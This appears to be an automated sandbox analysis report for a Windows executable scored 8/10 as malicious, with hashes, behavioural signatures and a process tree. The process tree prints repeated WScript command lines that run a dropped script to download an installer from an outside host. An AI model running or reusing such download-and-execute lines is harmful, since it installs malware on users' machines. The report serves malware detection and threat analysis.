Analysis

  • max time kernel
    149s
  • max time network
    173s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2022, 07:32

General

  • Target

    abace5bb86b6d3221e84affa385556a06f70a0b92f057f7ef33b973206daa4c5.exe

  • Size

    184KB

  • MD5

    896ca0eb2a4cfe197cb6a045bf1f9677

  • SHA1

    64820381b3b5c7c66e9a435e2abc50e4a78f097d

  • SHA256

    abace5bb86b6d3221e84affa385556a06f70a0b92f057f7ef33b973206daa4c5

  • SHA512

    b2c75783a0dc3cfd19517dde76eae607f172d640e1400626878edef2ff5dd902464952479291baf1501c52de31f93e69e82a47c6f247c99b57d761d06c524da6

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3/8:/7BSH8zUB+nGESaaRvoB7FJNndnt

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 13 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Script User-Agent 3 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\abace5bb86b6d3221e84affa385556a06f70a0b92f057f7ef33b973206daa4c5.exe
    "C:\Users\Admin\AppData\Local\Temp\abace5bb86b6d3221e84affa385556a06f70a0b92f057f7ef33b973206daa4c5.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3968
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCA79.js" http://www.djapp.info/?domain=zQAjxREogx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCA79.exe
      2⤵
      • Blocklisted process makes network request
      PID:620
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCA79.js" http://www.djapp.info/?domain=zQAjxREogx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCA79.exe
      2⤵
      • Blocklisted process makes network request
      PID:2316
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCA79.js" http://www.djapp.info/?domain=zQAjxREogx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCA79.exe
      2⤵
      • Blocklisted process makes network request
      PID:4132
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCA79.js" http://www.djapp.info/?domain=zQAjxREogx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCA79.exe
      2⤵
      • Blocklisted process makes network request
      PID:4572
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCA79.js" http://www.djapp.info/?domain=zQAjxREogx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCA79.exe
      2⤵
      • Blocklisted process makes network request
      PID:4188

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fufCA79.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76